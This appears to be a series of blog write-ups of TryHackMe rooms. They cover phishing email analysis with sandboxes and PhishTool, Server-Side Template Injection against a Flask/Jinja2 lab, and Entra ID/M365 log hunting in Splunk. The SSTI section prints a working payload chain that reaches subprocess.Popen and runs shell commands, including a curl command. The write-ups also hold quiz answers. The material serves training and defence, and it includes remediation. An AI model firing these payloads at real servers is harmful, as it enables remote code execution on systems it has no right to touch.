Luckily as Defenders, we don't need to have malware analysis skills to dissect and reverse engineer a malicious attachment to understand the malware better. 
There are online tools and services where malicious files can be uploaded and analyzed to better understand what the malware was programmed to do. These services are known as malware sandboxes. 
For instance, we can upload an attachment we obtained from a potentially malicious email and see what URLs it attempts to communicate with, what additional payloads are downloaded to the endpoint, persistence mechanisms, Indicators of Compromise (IOCs), etc. 
Some of these online malware sandboxes are listed below.

Any.Run: https://app.any.run/

Per the site, "Analyze a network, file, module, and the registry activity. Interact with the OS directly from a browser. See the feedback from your actions immediately".



Hybrid Analysis: https://www.hybrid-analysis.com/

Per the site, "This is a free malware analysis service for the community that detects and analyzes unknown threats using a unique Hybrid Analysis technology."



https://www.joesecurity.org/

Per the site, "Joe Sandbox empowers analysts with a large spectrum of product features. Among them: Live Interaction, URL Analysis & AI based Phishing Detection, Yara and Sigma rules support, MITRE ATT&CK matrix, AI based malware detection, Mail Monitor, Threat Hunting & Intelligence, Automated User Behavior, Dynamic VBA/JS/JAR instrumentation, Execution Graphs, Localized Internet Anonymization and many more".


We will interact with these services in the upcoming Phishing cases. 
PhishTool
A tool that will help with automated phishing analysis is PhishTool.
Yes, I saved this for last! What is PhishTool?
Per the site, "Be you a security researcher investigating a new phish-kit, a SOC analyst responding to user reported phishing, a threat intelligence analyst collecting phishing IoCs or an investigator dealing with email-born fraud.
PhishTool combines threat intelligence, OSINT, email metadata and battle tested auto-analysis pathways into one powerful phishing response platform. Making you and your organisation a formidable adversary - immune to phishing campaigns that those with lesser email security capabilities fall victim to."
Note: There is a free community edition you can download and use. :)
I uploaded a malicious email to PhishTool and connected VirusTotal to my account using my community edition API key. 
Below are a few screenshots of the malicious email and the PhishTool interface. 


From the image above, you can see the PhishTool conveniently grabs all the pertinent information we'll need regarding the email.

Email sender

Email recipient (in this case, a long list of CCed email addresses)

Timestamp

Originating IP and Reverse DNS lookup


We can obtain information about the SMTP relays, specific X-header information, and IP info information.


Below is a snippet of Hop 1 of 6 (SMTP relays).


Notice that the tool notifies us that 'Reply-To no present' although it provides the alternative header information, Return-Path.
To the right of the PhishTool dashboard, we can see the email body. There are two tabs across the top that we can toggle to view the email in text format or its HTML source code. 
Text view:


HTML view:


The bottom two panes will display information about attachments and URLs.
The right pane will show if any URLs were found in the email. In this case, no emails were found.


The left pane will show information about the attachment. This particular malicious email has a zip file.


We can automatically get feedback from VirusTotal since our community edition API key is connected.
Here we can grab the zip file name and its hashes without manually interacting with the malicious email.
 There is an ellipsis at the far right of the above image. If that is clicked, we are provided additional actions that we can perform with the attachment.
Below is a screenshot of the additional options sub-menu.


Let's look at the Strings output.


Next, let's look at the information from VirusTotal.


Since the VirusTotal API key is the free community edition, an analyst can manually navigate to VirusTotal and do a file hash search to view more information about this attachment. 
Lastly, any submissions you upload to PhishTool, you can flag as malicious and resolve with notes. Similar to how you would if you were a SOC Analyst.


The attachment file name and file hashes will be marked as malicious. Next, click on Resolve.


In the next screen, an analyst can mark the email based on dropdown selections. Refer to the GIF below.


Note: I didn't perform further analysis on the domain name or the IP address. Neither did I perform any research regarding the root domain the email originated from. The attachment can further be analyzed by uploading it to a malware sandbox to see what exactly it's doing, which I did not do. Hence the reason why additional Flag artifacts and Classifications codes weren't selected for this malicious email. :) 
To expand on classification codes briefly, not all phishing emails can be categorized as the same. A classification code allows us to tag a case with a specific code, such as Whaling (high-value target). Not all phishing emails will target a high-value target, such as a Chief Financial Officer (CFO). 
Answer the questions below
Look at the Strings output. What is the name of the EXE file? #454326_PDF.exe
Phishing Case 1
Scenario: You are a Level 1 SOC Analyst. Several suspicious emails have been forwarded to you from other coworkers. You must obtain details from each email for your team to implement the appropriate rules to prevent colleagues from receiving additional spam/phishing emails. 
Task: Use the tools discussed throughout this room (or use your own resources) to help you analyze each email header and email body. 

Deploy the machine attached to this task; it will be visible in the split-screen view once it is ready.
If you don't see a virtual machine load then click the Show Split View button.


Answer the questions below
What brand was this email tailored to impersonate? Netflix


What is the From email address? JGQ47wazXe1xYVBrkeDg-JOg7ODDQwWdR@JOg7ODDQwWdR-yVkCaBkTNp.gogolecloud.com
What is the originating IP?
Defang the IP address.  209[.]85[.]167[.]226




From what you can gather, what do you think will be a domain of interest?
Defang the domain. etekno[.]xyz




What is the shortened URL?
Defang the URL. hxxps[://]t[.]co/yuxfZm8KPg?amp==1




Phishing Case 2
Scenario: You are a Level 1 SOC Analyst. Several suspicious emails have been forwarded to you from other coworkers. You must obtain details from each email for your team to implement the appropriate rules to prevent colleagues from receiving additional spam/phishing emails. 
A malicious attachment from a phishing email inspected in the previous Phishing Room was uploaded to Any Run for analysis. 
Task: Investigate the analysis and answer the questions below. 
Link: https://app.any.run/tasks/8bfd4c58-ec0d-4371-bfeb-52a334b69f59
Answer the questions below
What does AnyRun classify this email as? Suspicious activity


What is the name of the PDF file? Payment-updateid.pdf
What is the SHA 256 hash for the PDF file? cc6f1a04b10bcb168aeec8d870b97bd7c20fc161e8310b5bce1af8ed420e2c24


What two IP addresses are classified as malicious? Defang the IP addresses. (answer: IP_ADDR,IP_ADDR) 2[.]16[.]107[.]24,2[.]16[.]107[.]83




What Windows process was flagged as Potentially Bad Traffic? svchost.exe


Phishing Case 3
Scenario: You are a Level 1 SOC Analyst. Several suspicious emails have been forwarded to you from other coworkers. You must obtain details from each email for your team to implement the appropriate rules to prevent colleagues from receiving additional spam/phishing emails. 
A malicious attachment from a phishing email inspected in the previous Phishing Room was uploaded to Any Run for analysis. 
Task: Investigate the analysis and answer the questions below. 
Link: https://app.any.run/tasks/82d8adc9-38a0-4f0e-a160-48a5e09a6e83
Answer the questions below
What is this analysis classified as? Malicious activity


What is the name of the Excel file? CBJ200620039539.xlsx
What is the SHA 256 hash for the file? 5f94a66e0ce78d17afc2dd27fc17b44b3ffc13ac5f42d3ad6a5dcfb36715f3eb
What domains are listed as malicious? Defang the URLs & submit answers in alphabetical order. (answer: URL1,URL2,URL3) biz9holdings[.]com,findresults[.]site,ww38[.]findresults[.]site


What IP addresses are listed as malicious? Defang the IP addresses & submit answers from lowest to highest. (answer: IP1,IP2,IP3) 75[.]2[.]11[.]242,103[.]224[.]182[.]251,204[.]11[.]56[.]48
What vulnerability does this malicious attachment attempt to exploit? CVE-2017-11882
Conclusion
The tools covered in this room are just some that can help you with analyzing phishing emails. 
As a defender, you'll come up with your own preferred tools and techniques to perform manual and automated analysis. 
Here are a few other tools that we have not covered in detail within this room that deserve a shout:

https://mxtoolbox.com

https://phishtank.com

https://www.spamhaus.org

https://github.com/ninoseki/eml_analyzer


That's all, folks! Happy Hunting!
Working through the phishing cases in this room reinforces a core SOC principle: structured artifact collection before any interaction with potentially malicious content. By the time any URL is visited or an attachment opened, even in a sandbox, you should already have the sender IP, file hash, and extracted URLs documented.
Any.run proved particularly effective for the attachment analysis cases, surfacing malicious IPs and flagging suspicious process behavior (notably svchost.exe) that would not be visible from static analysis alone. The combination of sandbox detonation with reputation lookups on VirusTotal and Talos gives a defender multiple corroborating signals rather than relying on a single tool.
The room also highlights that not all phishing emails are equal; classification matters, whether a campaign is broad spam or a targeted attack changes the response and the IOCs worth hunting for across the network.



SSTI (TryHackMe)
Jebitok — Sat, 14 Mar 2026 12:51:12 GMT
Server-Side Template Injection (SSTI) is one of those vulnerabilities that looks deceptively simple on the surface but can escalate to full remote code execution faster than most people expect. In this TryHackMe room, I worked through the complete SSTI attack chain against a Flask/Jinja2 application from fuzzing for an injection point, navigating Python's object hierarchy to reach subprocess.Popen, all the way to executing shell commands on the server. One thing that slowed me down was discovering that browser URL encoding breaks the payload before it even reaches the template engine, switching to curl -g was the fix that unlocked the rest of the exploit.
Introduction
**What is Server Side Template Injection?
**Server Side Template Injection (SSTI) is a web exploit which takes advantage of an insecure implementation of a template engine.
What is a template engine?A template engine allows you to create static template files which can be re-used in your application.
What does that mean? Consider a page that stores information about a user, /profile/. The code might look something like this in Python's Flask:
from flask import Flask, render_template_string
app = Flask(__name__)

@app.route("/profile/")
def profile_page(user):
    template = f"Welcome to the profile of {user}!"

    return render_template_string(template)

app.run()

This code creates a template string, and concatenates the user input into it. This way, the content can be loaded dynamically for each user, while keeping a consistent page format.
Note: Flask is the web framework, while Jinja2 is the template engine being used.
**How is SSTI exploitable?**Consider the above code, specifically the template string. The variable user (which is user input) is concatenated directly into the template, rather than passed in as data. This means whatever is supplied as user input will be interpreted by the engine.
Note: The template engines themselves aren't vulnerable, rather an insecure implementation by the developer.
**What is the impact of SSTI?
**As the name suggests, SSTI is a server side exploit, rather than client side such as cross site scripting (XSS).
This means that vulnerabilities are even more critical, because instead of an account on the website being hijacked (common use of XSS), the server instead gets hijacked.
The possibilities are endless, however the main goal is typically to gain remote code execution.
Deploy!
Deploy the virtual machine associated with this lab and follow along as we exploit SSTI together!
You can access the web server by navigating to http://MACHINE_IP:5000.
Note: The endpoint / does not exist, and you will receive a 404 error.
Detection
Finding an injection point
The exploit must be inserted somewhere, this is called an injection point.
There are a few places we can look within an application, such as the URL or an input box (make sure to check for hidden inputs).
In this example, there is a page that stores information about a user: http://MACHINE_IP:5000/profile/, which takes in user input.  
We can find the intended output by providing an expected name:


  

**Fuzzing
**Fuzzing is a technique to determine whether the server is vulnerable by sending multiple characters in hopes to interfere with the backend system.
This can be done manually, or by an application such as BurpSuite's Intruder. However, for educational purposes, we will look at the manual process.
Luckily for us, most template engines will use a similar character set for their "special functions" which makes it relatively quick to detect if it's vulnerable to SSTI.
For example, the following characters are known to be used in quite a few template engines: ${{<%'"}}%`.

To manually fuzz all of these characters, they can be sent one by one following each other.
The fuzzing process looks as follows:
![(https://assets.tryhackme.com/additional/imgur/EukNpFw.png align="center")
![" style="display: block; margin: 0 auto;" />
Continue with this process until you either get an error, or some characters start disappearing from the output.
Answer the questions below
What sequence of characters causes the application to throw an error? {{
Identification
Now that we have detected what characters caused the application to error, it is time to identify what template engine is being used.
In the best case scenario, the error message will include the template engine, which marks this step complete!
However, if this is not the case, we can use a decision tree to help us identify the template engine:


Photo Credit: PortSwigger
To follow the decision tree, start at the very left and include the variable in your request. Follow the arrow depending on the output:

Green arrow - The expression evaluated (i.e 42)

Red arrow - The expression is shown in the output (i.e ${7*7})


In the case of our example, the process looks as follows:


The application mirrors the user input, so we follow the red arrow:


The application evaluates the user input, so we follow the green arrow.
Continue with this process until you get to the end of the decision tree.
Answer the questions below
What template engine is being used in this application? Jinja2
Syntax
After having identified the template engine, we now need to learn its syntax.
Where better to learn than the official documentation?
Always look for the following, no matter the language or template engine:

How to start a print statement

How to end a print statement

How to start a block statement

How to end a block statement


In the case of our example, the documentation states the following:

{{ - Used to mark the start of a print statement

}} - Used to mark the end of a print statement

{% - Used to mark the start of a block statement

%} - Used to mark the end of a block statement










Answer the questions below
How do you start a comment in Jinja2? {#
Exploitation
At this point, we know:

The application is vulnerable to SSTI

The injection point

The template engine

The template engine syntax


Planning
Let's first plan how we would like to exploit this vulnerability.
Since Jinja2 is a Python based template engine, we will look at ways to run shell commands in Python. A quick Google search brings up a blog that details different ways to run shell commands. I will highlight a few of them below:  
# Method 1
import os
os.system("whoami")

# Method 2
import os
os.popen("whoami").read()

# Method 3
import subprocess
subprocess.Popen("whoami", shell=True, stdout=-1).communicate()

Crafting a proof of concept (Generic)
Combining all of this knowledge, we are able to build a proof of concept (POC).
The following payload takes the syntax we acquired from Task 4, and the shells above, and merges them into something that the template engine will accept: http://MACHINE_IP:5000/profile/{% import os %}{{ os.system("whoami") }}.
Note: Jinja2 is essentially a sub language of Python that doesn't integrate the import statement, which is why the above does not work.
Crafting a proof of concept (Jinja2)
Python allows us to call the current class instance with .__class__, we can call this on an empty string:
Payload: http://MACHINE_IP:5000/profile/{{ ''.__class__ }}.
Classes in Python have an attribute called .__mro__ that allows us to climb up the inherited object tree:
Payload: http://MACHINE_IP:5000/profile/{{ ''.__class__.__mro__ }}.
Since we want the root object, we can access the second property (first index):
Payload: http://MACHINE_IP:5000/profile/{{ ''.__class__.__mro__[1] }}.
Objects in Python have a method called .__subclassess__ that allows us to climb down the object tree:
Payload: http://MACHINE_IP:5000/profile/{{ ''.__class__.__mro__[1].__subclasses__() }}.
Now we need to find an object that allows us to run shell commands. Doing a Ctrl-F for the modules in the code above yields us a match:


As this whole output is just a Python list, we can access this by using its index. You can find this by either trial and error, or by counting its position in the list.
In this example, the position in the list is 400 (index 401):
Payload: http://MACHINE_IP:5000/profile/{{ ''.__class__.__mro__[1].__subclasses__()[401] }}.
The above payload essentially calls the subprocess.Popen method, now all we have to do is invoke it (use the code above for the syntax)
Payload: http://MACHINE_IP:5000/profile/{{ ''.__class__.__mro__[1].__subclasses__()[401]("whoami", shell=True, stdout=-1).communicate() }}.
Finding payloads
The process to build a payload takes a little while when doing it for the first time, however it is important to understand why it works.
For quick reference, an amazing GitHub repo has been created as a cheatsheet for payloads for all web vulnerabilities, including SSTI.
The repo is located here, while the document for SSTI is located here.  
Answer the questions below
What is the result of the "whoami" shell command? jake
curl -g "http://IP_Address:5000/profile/{{''.__class__.__mro__[1].__subclasses__()[356]('whoami',shell=True,stdout=-1).communicate()}}"



Examination
Now that we've exploited the application, let's see what was actually happening when the payload was injected.
The code that we exploited was the same as shown in Task 1:
from flask import Flask, render_template_string
app = Flask(__name__)

@app.route("/profile/")
def profile_page(user):
    template = f"Welcome to the profile of {user}!"

    return render_template_string(template)

app.run()

Let's imagine this like a simple find and replace.
Refer to the code below to see exactly how this works:
# Raw code
template = f"Welcome to the profile of {user}!"

# Code after injecting: TryHackMe
template = f"Welcome to the profile of TryHackMe!"

# Code after injecting: {{ 7 * 7 }}
template = f"Welcome to the profile of {{ 7 * 7 }}!"

As we learned in Task 4, Jinja2 is going to evaluate code that is in-between those sets of characters, which is why the exploit worked.
Remediation
All this hacking begs the question, what can be done to prevent this from happening in the first place?
Secure methods
Most template engines will have a feature that allows you to pass input in as data, rather that concatenating input into the template.  
In Jinja2, this can be done by using the second argument:
# Insecure: Concatenating input
template = f"Welcome to the profile of {user}!"
return render_template_string(template)

# Secure: Passing input as data
template = "Welcome to the profile of {{ user }}!"
return render_template_string(template, user=user)

SanitisationUser input can not be trusted!
Every place in your application where a user is allowed to add custom content, make sure the input is sanitised!
This can be done by first planning what character set you want to allow, and adding these to a whitelist.  
In Python, this can be done like so:
import re

# Remove everything that isn't alphanumeric
user = re.sub("^[A-Za-z0-9]", "", user)
template = "Welcome to the profile of {{ user }}!"
return render_template_string(template, user=user)

Most importantly, remember to read the documentation of the template engine you are using.
Case Study
**HackerOne Bug Bounty
**In March 2016, a user reported an SSTI vulnerability in one of Uber's subdomains.
The vulnerability was present within a form that allowed the user to change their profile name. Much like in the example, the user had control over an input which was then reflected back to the user (via email).  
Although the user was unable to gain remote code execution, the vulnerability was still present and they were awarded with a $10,000 bounty!
Read the report here.
Answer the questions below
What payload was used to confirm SSTI? {{ '7'*7 }}


SSTI is a reminder that the vulnerability is rarely in the template engine itself; it's in how developers use it. Jinja2, Twig, and Freemarker these tools are secure by design. The problem is concatenating user input directly into a template string and then rendering it, which collapses the boundary between data and code.
A few things worth taking away from this room as a developer:
Never build templates with f-strings and user input. The difference between vulnerable and secure is one line:
python
# Vulnerable
template = f"Welcome, {user}!"
render_template_string(template)

# Secure
render_template_string("Welcome, {{ user }}!", user=user)

Sanitise all user input regardless. Even with safe rendering, whitelist what characters you accept — strip anything that isn't alphanumeric if the field doesn't need special characters.
SSTI injection points aren't just URLs and forms. The 2016 Uber HackerOne report that accompanied this room is a perfect example — the injection point was a profile name field, and the payload executed inside an email template, earning the researcher a $10,000 bounty. Anywhere your application reflects or stores user input that later gets passed through a template engine is a potential injection point, including HTTP headers, cookies, API bodies, email templates, and even log viewers.
The object traversal chain is the real lesson. The payload ''.__class__.__mro__[1].__subclasses__() works because Python's object model is fully accessible at runtime. Once you can evaluate arbitrary expressions, you're one index lookup away from subprocess.Popen. This is why sandboxing template engines in production environments matters — some engines support restricted execution modes that limit what objects and attributes are accessible.



M365 Monitoring Basics (TryHackMe)
Jebitok — Sat, 14 Mar 2026 12:23:40 GMT
Cloud identity attacks don't announce themselves with malware alerts or network intrusions; they show up as a login. One valid set of credentials is all an attacker needs to walk straight through the front door of an organization's entire Microsoft 365 environment: no exploit, no foothold, just legitimate access.
In this TryHackMe room, I took on the role of an L2 SOC Analyst at a fictional company called FineGalo, where an alert flagged multiple failed authentication attempts against a cloud account, followed by a successful login. With no endpoint alerts and no network indicators to rely on, the entire investigation was conducted in Splunk using Entra ID and M365 logs.
This write-up walks through how I used Sign-in logs to identify the compromised account and attacker IP, Audit logs to track post-compromise changes to the identity, and M365 Unified Audit logs to follow what the attacker did once they had access to Exchange.
Introduction
During a routine SOC shift, you, a L2 SOC Analyst at FineGalo, received an alert about multiple failed authentication attempts against a cloud account, followed by a successful login. Shortly after, suspicious behavior is observed in the user’s Microsoft 365 services. On their own, each event might seem explainable, but together, they tell a more concerning story.
The organization relies entirely on Microsoft Entra ID for authentication and Microsoft 365 (M365) for collaboration and email. There are no endpoint alerts and no network indicators to rely on. Every clue lives in the logs of these cloud solutions.


In this room, you’ll step into that investigation and learn the role of Entra ID and M365 in modern company environments by analyzing their logs!
Learning Objectives

Understand the risks of identities and why attackers target them in modern environments.

Understand Entra ID and M365 as critical log sources for modern SOC investigations.

Understand Entra ID and M365 log types and core structure.

Basic understanding of how to use logs to identify attacks with Entra ID and M365 logs.


Learning Prerequisites

Splunk: Exploring SPL

Intro to Log Analysis


What are Identity Providers
Why Companies Moved Identities to the Cloud?
Before cloud identity providers, organizations like FineGalo managed identity separately for each platform. Security controls were tied to individual systems, meaning protections like MFA, strong password policies, and access restrictions were available only if the platform supported them, for example:



Platform
Security Problem



Internal Email Server
Does not support MFA.


HR System
Does not provide authentication logs.


Project Management Tool
Does not enforce password policies.


File Sharing Service
Does not support access controls.


As companies moved to SaaS platforms and remote work, this fragmented model became hard to manage and even harder to secure. Platforms like Microsoft Entra ID solve this by centralizing authentication (who the user is) and authorization (what the user is allowed to do) into a single control plane.
This leads to the classic question: "Identities are only user (person) access credentials?"
What Is an Identity?
A digital identity is a set of attributes that uniquely represent an entity within a computer system. That entity can be a person, a device, or a software component. Identities are used to authenticate entities, authorize their access to resources, enable communication, and support actions such as accessing services or performing transactions.
At a high level, identities can be grouped into three categories:

Human identities: Represent people, such as employees, contractors, partners, or customers.

Workload identities: Represent software components, including applications, services, scripts, or containers, that need to authenticate to other systems.

Device identities: Represent physical devices like desktops, laptops, mobile phones, and IoT devices. These identities are separate from the humans who use them.




An Identity Provider (IdP) is the system responsible for creating and managing these identities. It handles authentication (verifying identity), authorization (controlling access), and auditing by recording identity-related activity across connected services.
Microsoft Entra ID is an example of a cloud-based identity provider. Other examples include Twitter, Google, Amazon, LinkedIn, and Apple.
Example: You can use your Google account credentials to log in to Spotify. Here, your Google Sign-In is the IdP, and Spotify is the service provider (SP).
Benefits of an IdP

Centralized authentication and management: All user sign-ins are handled in a single location, making it easier to manage access and investigate suspicious activity.

Single Sign-On (SSO): One successful authentication grants access to multiple cloud services, improving usability while reducing password sprawl.

Stronger authentication: Features such as MFA and Conditional Access can be enforced uniformly across users and applications, rather than configured per system.

Better visibility and logging: Every authentication attempt generates rich identity logs, giving analysts the context needed to detect and investigate threats.


Answer the questions below
What type of application is Entra ID? Identity Provider
What type of identity is a server account? Device
Identities as the Target
Now that you understand what an Identity Provider (IdP) is, it becomes clear why attackers target it. In a cloud-first organization like FineGalo, Entra ID is the gateway to everything. It authenticates users and authorizes access to services like Outlook, Teams, SharePoint, and internal applications. That means a single compromised account, especially a privileged one, can give an attacker legitimate access without needing malware, local system access, or a foothold inside the network.
Before you dig into the alert, we’ll cover the attacker goals behind cloud identity attacks and the most common risks in identity platforms that enable them.
Why Attackers Are Targeting Cloud Credentials
Attackers target cloud-based identity providers because they provide:

Remote access from anywhere: Authentication occurs over the internet, so attackers don’t need access to the internal network.

Legitimate access to multiple services via SSO: One successful sign-in can unlock emails, files, chat, and connected apps for a user.

Out of the radar of traditional tools: Firewalls and endpoint tools may see nothing suspicious because the attacker is using valid credentials or the authentication is occurring outside of their visibility.

Direct access to high-value resources: Email and collaboration platforms contain sensitive data, internal communication, and often allow resetting account credentials and other authentication factors.


Entra ID has plenty of features to better protect identities within a tenant and prevent attackers from being successful. This leads to another important question: “If Entra ID is so secure, how do these attacks still work?”
Cloud Identity Providers Security Gaps
Cloud identity providers usually offer strong security controls, but those controls only work when they’re properly configured and consistently enforced. In many incidents, attackers don’t rely on advanced exploits; they simply exploit the lack of these security configurations.
Using Entra ID as an example, the diagram below illustrates how the platform evaluates authentication signals to decide whether to allow, block, or request MFA validation before a user can access the organization's apps and data.


Common misconfigurations (or lack of configuration) that increase the risk of compromise:

Lack of multi-factor authentication (MFA) enforcement: Attackers can gain access with simple stolen credentials, bypassing MFA entirely.

Overly permissive access policies: Broad policies or group exclusions create gaps, allowing sign-ins from any location or exempting admin accounts from security requirements.

Excessive administrative privileges: Too many admin accounts or standing privileges increase the attack surface and, if compromised, provide full tenant control.

Weak password policies: Default settings may allow easily guessable passwords without protection against known breaches or common password lists.

Disabled authentication risk policies: Risky authentication attempts from suspicious IPs or locations may be permitted if security policies aren’t enabled.

Insufficient logging and monitoring: Without active monitoring of sign-in and audit logs, suspicious activity can persist undetected for extended periods.


Importance of Identity Logs
After learning the identity risks, one thing is clear: attackers don’t need advanced exploits — they just need a gap.
Those gaps don’t always trigger alerts; the strongest evidence often lives in logs. That’s why we will cover many of these logs in this module, as they are a powerful resource for identifying both Entra ID and M365 threats.
The logs can reveal to us:

Successful and failed logins

Reasons for failed logins (e.g., bad password)

Account lockouts

MFA prompts and results

Source IP address and users' geographic location

Device and browser information

Client/app used to authenticate (browser, mobile app, etc.).

Conditional Access outcomes (allowed, blocked, MFA required, etc.).


You can also use this identity data to correlate with service logs, such as M365, to analyze what the user did after successfully accessing an account (mailbox access/management, file downloads, chat activity, etc.).
It's important to mention that these logs can be tricky because they're very rich, capturing every step of every interaction in Entra ID or M365 environments. When analyzing them, use a timeline approach to understand what's happening from a user or application perspective.
Now that you know the importance of cloud-based identity logs, we will start exploring them in the following task!
Answer the questions below
What authentication resource can prevent attackers from authenticating with only a stolen password? MFA
What can help us detect and monitor cloud identity threats? Logs
Entra ID Sign-in Logs
After understanding why attackers target cloud identities, let's dive into how we use their logs. This is where Microsoft Entra ID's logging capabilities become your most valuable tool.
Microsoft Entra ID generates detailed logs for every authentication attempt, configuration change, and administrative action within a tenant. These logs don't just tell you what happened, they tell you who did it, when, where from, and often why it succeeded or failed.
Entra ID Core Components
Before we explore the logs, let's understand the key components that generate them:
Users and Sign-ins (Authentication)
Every time a user attempts to authenticate to any service protected by Entra ID, a record is created. This includes successful logins, failed attempts, MFA challenges, and the context around each event (IP address, location, device, application, and others).
Roles and Access Decisions (Authorization)
After authentication, Entra ID determines what the user is allowed to do based on their assigned roles and permissions. Changes to these roles, group memberships, or permissions are all logged in audit events.
Security Features
Entra ID includes built-in security capabilities that generate their own logs:

Multi-factor authentication (MFA): Logs show whether MFA was required, prompted, satisfied, or bypassed.

Conditional Access policies: These policies enforce rules like "require MFA from untrusted locations." Logs show which policies were applied and their outcomes (allowed, blocked, MFA required).

Identity Protection: Entra ID's native threat detection flags risky sign-ins (impossible travel, anonymous IP, password spray) and risky users. We won't dive deep into these in this room, but we will see how these logs can help us identify threats in the next room, Entra ID Monitoring.


Exploring Entra ID Logs
Sign-in Logs
The alert you are tasked to investigate mentions multiple failed authentication attempts followed by a successful login. The Sign-in logs capture every authentication attempt made against a tenant. It will show you the brute force pattern and the moment the attacker succeeded!
In the Splunk instance, you can start hunting by filtering all the Sign-in (authentication) logs:



List all Sign-in events






index=scenario sourcetype="azure:aad:signin"

Entra ID was previously named Azure Active Directory (Azure AD). When you see "Azure Active Directory" or "Azure AD" in the logs or elsewhere, it is the same as Entra ID.
The structure of a Sign-in log has a couple of fields that may help you identify a suspicious authentication attempt:
{
  "id": "014adaeb-c9db-4119-8a9b-a9f68dd4b700",
  "createdDateTime": "2026-02-11T17:15:10Z",
  "userDisplayName": "John Doe",
  "userPrincipalName": "john.doe@contoso.onmicrosoft.com", // The user address
  "userId": "a1b2c3d4-e5f6-7890-a1b2-c3d4e5f67890",
  "appId": "4765445b-32c6-49b0-83e6-1d93765276ca",
  "appDisplayName": "OfficeHome", // Which application the user logged in to. In this case, the main web portal (office.com)
  "ipAddress": "203.0.113.45", // The IP address used by the user.
  "clientAppUsed": "Browser",
  "correlationId": "dc8fb3db-403c-43e4-b759-21aa137a143a",
  "conditionalAccessStatus": "success",
  "isInteractive": true,
  [...]
  "resourceDisplayName": "OfficeHome",
  "resourceId": "4765445b-32c6-49b0-83e6-1d93765276ca",
  "status": {
    "errorCode": 0, // The result of the authentication. Code 0 means successful.
    "failureReason": "Other.",
    "additionalDetails": null
 [...]
  "location": {  // Details about the location from the IP address used by the user.
    "city": "New York",
    "state": "New York",
    "countryOrRegion": "US",
    "geoCoordinates": {
      "altitude": null,
      "latitude": 40.7128,
      "longitude": -74.0060
    }
  },
  "appliedConditionalAccessPolicies": [ // Information about which access control policy was applied during the authentication process.
    {
      "id": "c63499f4-64b6-4943-bfc3-52fbb641ef10",
      "displayName": "Require MFA",
      "enforcedGrantControls": ["Block"],
      "enforcedSessionControls": [],
      "result": "notApplied"
    }
  ]
}

With this context, you can use the errorCode to find failure attempts and other relevant data:



List all failed Sign-ins






index="scenario" sourcetype="azure:aad:signin" "status.errorCode"!=0
| stats count as event_count values(ipAddress) as ip_addresses
 values(appDisplayName) as applications values(status.errorCode) as errorCodes  by userPrincipalName
| sort - event_count
| table applications, userPrincipalName, ip_addresses, errorCodes, event_count

Error codes are a big ally when analyzing suspicious authentication alerts. They can help you to understand the stage of a credential attack the attacker is in. Below are common error codes:

50126: Invalid username or password

50053: Account locked due to too many failed attempts

50074: MFA required but not provided

50055: Password expired


If you want to verify what an error code means, Microsoft has a useful tool to help you research it.
In the same query results, you can see that all failed attempts are from the same source IP in the ipAddress field. This is relevant information for further investigation into what this IP address has done in the tenant.
Now, you can filter the successful logins from this source and validate which account was compromised and the applications the attacker accessed by changing the  placeholder to the IP address you want to investigate in the following query:



List all successful Sign-ins from an IP address






index=scenario sourcetype="azure:aad:signin" "status.errorCode"=0 ipAddress=""
| stats values(ipAddress) as ip_addresses values(appDisplayName) as applications  by userPrincipalName
| table applications, userPrincipalName, ip_addresses

You should see the exact account that the attacker compromised!
Practice
For this task, you will answer a couple of questions regarding this suspicious authentication.
With the filter index=scenario sourcetype="azure:aad:signin", you will be able to see all Sign-in logs, but feel free to use any other queries you learned in this task.
Remember to search for All Time to find all log activity.
Answer the questions below
What is the email address of the compromised identity? allan.smith@finegalo.thm
index=scenario sourcetype="azure:aad:signin"



What is the IP address used by the attacker? 2804:2488:7082:a4c0:fd97:b11b:9895:49c0

Based on the output of the previous question, you can find the IP address used by the attacker

What is the city of the IP address used by the attacker? Belo Horizonte
index=scenario sourcetype="azure:aad:signin"



When was the first successful sign-in in the compromised account after the failure attempts?
Answer Format: 1/12/25 1:15:00.000 PM
(Exact Splunk Time value) 2/11/26 6:16:53.000 PM


What is the first application the attacker accessed after the office home page?
Answer Format: The exact value of the appDisplayName field. One Outlook Web
index=scenario sourcetype="azure:aad:signin"



Entra ID Audit Logs
After confirming a compromised account, the next step is to identify the changes the attacker made to it. This is where you should use Audit Logs.
Audit logs capture administrative actions and changes made within the Entra ID environment. Below are some examples of post-compromise activities an attacker can perform, and you can hunt with logs:

Resetting passwords to maintain access

Adding new MFA methods or devices

Assigning privileged roles to escalate access

Modifying user attributes

Registering malicious applications


Hunting for Post-Compromise Activity
Within the same Splunk instance, you can use the following query to filter for Entra ID audit logs and see account or environment changes:



List all Audit logs






index=scenario sourcetype="azure:aad:audit"

Each event has its own particular properties, but you should pay additional attention to the fields below, since they appear in all events and can reveal what was changed, who changed, and the target:

activityDisplayName: The detailed activity or action that was performed by a user or app. All activities that generate logs are documented on this Microsoft page (e.g., "Change user password", "Disable account").

initiatedBy: The account or app that performed the action. When the source of the action is a user account, this field contains its email address. In the case of an app, it will have the app name.
initiatedBy: {
 app: {
   appId: null
   displayName: Microsoft password reset service // An app executed the change.
   servicePrincipalId: d6871dee-b91e-42a7-b98e-beeb5357dfff
   servicePrincipalName: null
 }
 user: null
 }


targetResources: The account or object that has been changed or affected by an action.
 targetResources: [
 {
   displayName: null
   groupType: null
   id: d15f0e8c-80f7-41c0-b861-207d79cbb734
   modifiedProperties: [
 {
   displayName: ForceChangePassword
   newValue: "True"
   oldValue: "False"
 }
 {
   displayName: Password // The Resource that was changed
   newValue: null
   oldValue: null
 }
   ]
   type: User
   userPrincipalName: email@example.thm // The target identity
 }
 ]



With that context, you can query specifically for the changes related to the compromised account you found in the previous task by using its user email address and changing the  placeholder in the following queries:



List changes targeting a specific user






index=scenario sourcetype="azure:aad:audit" targetResources{}.userPrincipalName="" 
| eval initiator=coalesce('initiatedBy.user.userPrincipalName', 'initiatedBy.app.displayName')
| sort - _time
| table _time, initiator, activityDisplayName, result, targetResources{}.userPrincipalName




List changes performed by a user






index=scenario sourcetype="azure:aad:audit" initiatedBy.user.userPrincipalName="" 
| sort - _time
| table _time, initiatedBy.user.userPrincipalName, activityDisplayName, result, targetResources{}.userPrincipalName

You've now briefly learned how to leverage Entra ID logs to identify suspicious activity in a user account by checking its Sign-In logs and post-compromise activity using Audit logs.
In the next task, we'll explore Microsoft 365 (M365) logs to see what the attacker did after gaining access to cloud services like Outlook, Teams, and SharePoint.
Practice
For this task, you will answer a few questions about changes to the compromised account.
With the filter index="scenario" sourcetype="azure:aad:audit", you will be able to see all Audit logs, but feel free to use any other queries you learned in this task.
Remember to search for All Time to find all log activity.
